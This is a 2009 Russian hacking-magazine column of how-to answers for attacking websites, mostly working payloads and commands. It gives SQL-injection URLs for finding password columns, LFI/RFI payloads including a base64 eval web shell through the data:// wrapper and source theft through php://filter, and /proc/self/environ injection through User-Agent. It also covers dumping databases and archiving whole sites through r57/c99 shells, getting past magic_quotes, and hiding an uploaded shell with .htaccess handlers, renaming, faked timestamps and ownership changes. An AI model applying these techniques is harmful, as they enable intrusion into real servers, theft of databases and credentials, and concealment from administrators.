Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #131, НОЯБРЬ 2009 г.

Easy Hack


Задача: сдампить базу данных при наличии веб-шелла

Решение:

I. Для начала нужно отыскать конфиг с аккаунтом подключения к базе. Он может находиться как в файлах конфигов и выглядеть примерно так:

$config['server'] = 'localhost';
$config['port'] = 3306;
$config['user'] = 'vasa';
$config['password'] = 'pypkin';
$config['db'] = 'vasa_pypkin';

Либо непосредственно в файле, который работает с базой, и выглядеть, например, так:

mysql_connect("localhost", "vasa", "pypkin");
mysql_select_db("vasa_pypkin");

II. Сдампить базу можно непосредственно с шелла (во всех популярных шеллах есть опции подключения к базе и возможность сделать дамп), либо — залив на сайт сторонний дампер, либо непосредственно из командной строки. Рассмотрим все эти варианты. Вариант с шеллом самый простой и, казалось бы, удобный. Но это не всегда так. В r57, например, очень неудобно реализована работа с базой вообще, хотя для небольших баз, которые нужно сдампить целиком, сгодится и он. Вот тебе пошаговое руководство к действию (только для ознакомления, естественно):

  1. В r57 снизу присутствует вкладка «Databases», в которой есть опция Run SQL query, находим ее.
  2. Вбиваем аккаунт на базу, ставим галку «Save dump in file» и вводим название файла дампа (по умолчанию dump.sql)
  3. Жмем кнопку dump.

III. Лицезреем сохраненный файл в рабочей директории в несжатом виде.

В с99 работа с базой реализована лучше и сводится к следующему алгоритму.

  1. Жмем сверху на вкладку SQL.
  2. Вбиваем форму подключения и жмем «connect». Слева появляется выпадающее меню, где можно выбрать базу или даже отдельную таблицу (или несколько таблиц), которую нужно сдампить. Это удобно, если вся база не нужна.
  3. После выбора таблицы появляется интуитивно понятный диалог, в котором можно выбрать путь и название дампа, жмем «dump» и видим несжатый файл «.sql» там, куда мы его положили.

Все это хорошо и удобно, но существуют некоторые проблемы.

  1. Файлы после дампов необходимо сжимать, ибо качать несжатые базы бывает очень сложно.
  2. Если база большая, то через шелл ее сдампить не удастся (он просто не справится и соединение отпадет по таймауту).

При наличии этих проблем переходим к плану «Б» — обращаемся за помощью к альтернативным дамперам или к консольному mysqldump. Дамперов существует великое множество, но отметить хотелось бы 2 самых популярных — «MySQL RST/GHC Manager» и «Sypex Dumper Lite». Думаю, с возможностями и реализации дампинга через этот софт ты разберешься самостоятельно.

Задача: сделать выбор нужных значений, с определенным словом в имени столбца или таблицы при явной SQL-injection

Решение:

В этом нам помогут несколько операторов MySQL, а именно: LIKE, NOT LIKE и REGEXP. Разберем подробнее.

1. LIKE.

Оператор LIKE проверяет, соответствует ли возвращаемое значение заданому образцу. Например:

Структура доступных баз данных

--database site1
---table news
-----collumn id
-----collumn news
---table users
-----collumn login
-----collumn password
--database site2
---table articles
-----collumn id
-----collumn article
---table user
-----collumn username
-----collumn user_passwd

Теперь представим, что перед нами стоит задача выбрать все базы, таблицы, которые содержат столбцы с именем ‘*pass*’. Делаем такой запрос:

select group_concat(concat_ws(0x3A,table_schema,table_ name,column_name)) from information_schema.columns where column_name like+'%pass%'

Или на примере инъекции с выводом в поле №2:

http://site.com/script.php?id=-1+union+select+1,group_ concat(concat_ws(0x3A,table_schema,table_name,column_ name)),3+from+information_schema.columns+where+column_ name+like+'%pass%'--+

Вывод будет следующий:

site1:users:password, site2:user:user_passwd

Разберемся с образцом %pass% — % (процент) указывает совпадение с любыми символами, под этот образец попадают все значения, в которых присутствует частица ‘pass’ независимо от ее положения в значении.

2. NOT LIKE.

Оператор NOT LIKE проверяет соответствие возвращаемому значению заданному образцу. Этот оператор абсолютно противоположен предыдущему, и используя предыдущий пример, мы составим запрос:

http://site.com/script.php?id=-1+union+select+1,group_ concat(concat_ ws(0x3A,table_ schema,table_name,column_ name)),3+from+information_schema. columns+where+column_name+NOT+like+'%pass%'--+

Будет вывод всех доступных баз и таблиц за исключением следующих site1:users:password, site2:user:user_passwd

3. REGEXP (или синоним RLIKE).

Оператор REGEXP проверяет, соответствует ли значение регулярному выражению. Для работы с этим оператором следует использовать регулярные значения в стиле POSIX. К примеру, для получения того же результата, что и с оператором LIKE в первом примере, составим регулярное выражение ‘(.*)pass(.*)’, запрос примет вид:

http://site.com/script.php?id=-1+union+select+1,2,group_concat(concat_ws(0x3A,table_schema,table_name,column_name)),4+from+information_ schema.columns+where+column_name+rlike+'(.*) pass(.*)'--+

Такой запрос возвратит site1:users:password, site2:user:user_passwd

Итак, мы разобрали три оператора на примере имени столбца, аналогично их можно использовать в имени таблицы (table_name в базе tables базы information_schema).

WARNING! Не забывай, что база information_schema присутствует только в MySQL версии 5.* и выше.

Задача: я прочел статью о способах раскрутки инклудов, однако данные способы мне не помогли, как быть?

Решение:

Есть еще несколько вариантов, но они требуют «особых условий» для реализации. Докручивать инклуд мы будем двумя способами — с помощью так называемого «упаковщика» data и фильтров filter. Разберем подробнее.

1. Могучий data.

Требования для использования метода:

a) allow_url_include должна быть включена. (allow_url_include = on в файле php.ini)

b) Отсутствие символов перед нашим значением, т.е. include('./dir/'.$file); не подходит, а include($file); отлично подойдет!

Это, конечно же, немного осложняет ситуацию, однако, если стоят какиелибо фильтры на присутствие слов «http://», «ftp://» и т.п., то, естественно, провести RFI не удастся, тут-то нам и пригодится данный метод. К примеру, если у нас есть уязвимый код:

<?php include $_GET["file"]; ?>

Смело составляем запрос

?file=data:application/x-httpd-php;base64,PD8gZXZhbCgkX0dFVFsnY29kZSddKTsgPz4&code=phpinfo();

Разберем подробнее:

data — непосредственно указывает, что будем использовать "упаковщик" data application/x-httpd-php указывает mime-тип данных, в нашем случае это тип данных php-скрипта
base64 — указывает, что входящие данные зашифрованы в base64 PD8gZXZhbCgkX0dFVFsnY29kZSddKTsgPz4 — входящие данные (после расшифровки "<? eval($_GET['code']); ?>") code=phpinfo(); — переменная, используемая в eval Выполняем запрос и созерцаем заветный phpinfo().

2. Фильтруем базар или удобный filter.

Требования для использования метода:

a) Отсутствие символов ПЕРЕД нашим значением в инклуде (аналогично первому методу).
b) Наличие соответствующего фильтра (для просмотра установленных фильтров использовать функцию stream_get_filters).

3) PHP версии 5.0.0 и выше.

Уязвимый код:

<?php include $_GET["file"]; ?>

Составляем запрос:

?file=php://filter/convert.base64-encode/resource=/home/user/www/index.php

Разбор полетов:

php://filter — указывает, что используются фильтры convert — указывает, используются преобразовывающие фильтры
base64-encode — указывается сам фильтр
resource — указывается расположение требуемого файла

Результатом данного запроса мы получим исходный код файла index. php, зашифрованный base64, останется лишь расшифровать и изучать исходный код недруга.

Почитать подробнее о данных функциях можно на php.net

Задача: сделать рип сайта

Решение:

Давай рассмотрим, как же можно сделать рип сайта без лишнего геморроя.

1. Начать, я думаю, нужно как всегда с инструментов, встроенных в сами шеллы. Тут можно говорить только о c99 и wso шеллах (из популярных). r57, к сожалению, никаких инструментов для рипа не предоставляет. Итак, что же мы делаем. В с99 просто отмечаем галочками файлы и папки, которые необходимо упаковать в выпадающем меню, снизу выбираем copy и жмем «Confirm». После этого появится меню c пимпой «Pack buffer to arhive» и полем с названием архива, в которое можно ввести так же и путь. Все, теперь у нас есть архив.

В wso-шелле все не так просто. Необходим PHP версии > 5. Но, в общем и целом, также отмечаем галочками нужный контент, выбираем из списка внизу «compress / zip» и жмем «>>». Затем переходим в папку, куда нужно сохранить архив, выбираем в меню «paste / zip» и сохраняем. Скажу по секрету, в этом шелле скоро будет сделан удобный рип, т.к. я общался с oRb’ом и он согласился, что дело это нужное и полезное, и пообещал включить в следующий релиз шелла достойную и удобную поддержку архивации. Так что — следи за релизами wso.
Все это вроде бы удобно, но медленно и без возможности ставить маски. В дополнение к минусам — шелл не пойдет по вложенным папкам, если в них нужно упаковать не все, да и процесс проставления галочек на нужных файлах далек от идеала. Особенно, если файлов паковать много, и они смешаны с ненужными.

2. С шеллами покончили, рассмотрим, какие возможности нам предлагает альтернативный софт. На глаза попался скрипт AlfaUngzipper (alfaungzipper.com/ru). Это бесплатная софтина на PHP состоит из одного единственного файла, поддерживает великий и могучий и имеет приятную морду и несколько полезных настроек. Для работы скрипту нужен PHP (версий 4.3.2 >= 5.2.5) и zlib. В настройках можно указать рабочую дирректорию, ходить или нет по вложенным папкам, имеются исключения папок и фильтр по расширению файла. Запакуется все в отдельный файл с собственным расширением .auae. Процесс распаковки также достаточно прост и понятен и, в сущности, сводится к нажатию нашей горячо любимой кнопочки «next». На сайте есть описание и демо-версия, можешь для начала посмотреть и даже попробовать все возможности прямо на сайте.

Из плюсов можно заметить, что PHP наплевать на ограничения, налагаемые на сервере злобными админами, старающимися усложнить нам жизнь. А в частности, отключение многих нужных и полезных функций, которые не дают нормально работать шеллам, для нее не помеха, архивация идет с помощью php-функции gzwrite(). Из минусов, опять же, скорость ну и то, что это дополнительный файл, который нужно аплоадить на шелл.

3. Ну и, наконец, переходим к самым мощным средствам, предоставляемым самой осью. Это утилита tar. Все опции я, разумеется, описывать не буду, достаточно несколько примеров. А самые дотошные смогут самостоятельно прочитать хелп с довольно внушительным списком опций.

Итак, примеры:

Запаковать папку www со всеми вложенными файлами в файл

1.tar

tar -cf 1.tar /www/

Запаковать папку www со всеми вложенными файлами и файл
lol.php из текущей папки в файл 1.tar

tar -cf 1.tar /www/ lol.php

Запаковать папку "/usr/home/www/» и сжать архив gzip’ом в файл "/usr/home/images/1.tar.gz"

tar -czf "/usr/home/images/1.tar.gz» «/usr/home/liona/shop.faberlic-msk.ru/www/"

Запаковать все php-файлы и картинки jpg из текущей диры и сжать архив bzip2’ом в файл abc.tar.bz2

tar -cjf abc.tar.bz2 *.php *.jpg

Тут применимы любые конвейерные конструкции, вроде:

Найти в текущей дире и всех вложенных скрипты php, упаковать, ужать gzip’ом в файл a.tar.gz

find . -name '*.php' | tar -czvf a.tar.gz -T — --norecursion

Задача: найти папку с правами на запись на скомпрометированном сервере

Решение:

Наверное, ты не раз сталкивался с такой проблемой, как поиск доступной на запись папки. Допустим, у тебя есть sql-инъекция с file_priv, а куда заливать шелл — пока непонятно.

Что же делать в таком случае? К сожалению, ничего кардинального, позволяющего со 100% вероятностью найти такую папку, нет, но вот облегчить поиск я тебе помогу.

1. Для начала осматриваем ресурс на наличие загрузок. Картинки, аватарки, еще какие-нибудь файлы. Если такая возможность существует, грузим то, что разрешено, и смотрим, куда это сохранилось. Скорее всего, папка, в которую мы смогли загрузить картинки, как раз и будет доступна на запись.

2. Неплохо было бы просканировать сайт каким-нибудь сканером директорий и обратить внимание на такие каталоги, как cache, caches, uploads, download, avatars, images, tmp, temp и т.д. Вообще, такие папки надо просматривать в первую очередь (они присутствуют довольно часто и нередко как раз доступны на запись ). Вот парочка онлайн-сканеров, которые тебе в этом помогут:

  1. madnet.name/tools/madss/
  2. security-digger.org/

3. Если сканер ничего не обнаружил, а ресурс крутится на паблик движке, то можно скачать исходник и выяснить, куда там что грузится.

4. Особое внимание стоит обратить на форумы (если они имеются). Если аватары хранятся не в базе, то папка под них также даст возможность залить шелл.

5. Если у тебя имеется инклуд или исполнение кода, то найти директорию под запись, конечно, гораздо проще, но многие и тут умудряются попасть в тупик. Давай посмотрим, что можно сделать. Допустим, у тебя eval или preg_replace c модификатором /e. То есть, чистое исполнение кода. Если админ нам ничего не выключал, то у нас есть возможность выполнять системные команды, и как ты понимаешь, мы можем легко воспользоваться поиском. Находим в текущей директории папки с правами на запись:

system(‘find . -perm -2 -type d -ls’);

Бывает, что какие-то функции отключены (смотри phpinfo(), раздел disable_ functions). Помни, что системные команды можно выполнять не только через system(), так же отлично подходит passthru(),shell_exec() и т.д.

6. Есть еще одна штука — magic_quotes_gpc. Она многим портит жизнь. Если выполнить «system(ls)» можно при любых значениях, то «system(ls -la)» просто так не осуществить. В этом случае многие забывают такую классную штуку, как chr.

system('ls -lia') === system(chr(108).chr(115).chr(32).
chr(45).chr(108).chr(105).chr(97))

С инклудом ситуация полностью аналогична. Допустим, у тебя LFI и возможность проинклудить environ. Что мы делаем? Посылаем такой запрос:

file.php?file=../../../../../../../../../../../proc/
self/environ
User-Agent: <?php system(‘ls -lia’); ?>

Задача: Как замаскировать шелл, залитый на сервер?

Решение:

Вариантов сокрытия шелла масса, разберем некоторые базовые методы.

1. Маскируем расширение.

К примеру, у нас есть директория «images», доступная на запись, в ней хранятся картинки с расширением .gif, у нас есть вариант залить шелл с расширением .gif и добавить в директорию файл .htaccess со следующим содержанием:

AddHandler application/x-httpd-php .gif

Как видно, мы даем серверу инструкцию интерпретировать файлы *.gif как php-скрипты.

2. Маскируемся под местность.

Допустим, у нас в директории есть файлы:
connect.inc.php
functions.inc.php
other_function.inc.php
config.inc.php

Мы можем переименовать наш шелл, например, в main_functions.inc.php, и он более-менее нормально впишется в окружающую обстановку.

3. touch, touch, ты могуч...

Дабы не провоцировать админа, меняем дату изменения нашего свежезалитого шелла. В этом нам поможет заветный touch, будем использовать одноименную функцию PHP.

4. Гостеприимный tmp.

К примеру, если у нас LFI, то можно закачать файл шелла в директорию / tmp, она, как известно, в 99% случаев доступна на запись, к тому же там зачастую хранятся файлы сессии. Файл маскируем под сессию, далее просто инклудим его как ни в чем не бывало (?file=../../tmp/sess_d17d8f066 1f8f44dd7dc5110c8825246).

5. Смена хозяина.

Допустим, мы перезалили под рутом наш шелл в нужную директорию, только шелл больно палевный. т.к. у файла овнер и группа стоят права рута:

-rwr-x--x 1 root whell 5043 2009-07-09 13:51 shell.php

Нужно под рутом сменить владельца файла и группу на данные владельца директории. К примеру, chown www shell.php сменит владельца файлу www shell.php.

Содержание